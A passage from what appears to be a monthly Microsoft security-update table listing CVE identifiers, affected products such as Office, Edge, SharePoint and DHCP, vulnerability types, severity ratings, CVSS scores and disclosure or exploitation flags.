Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  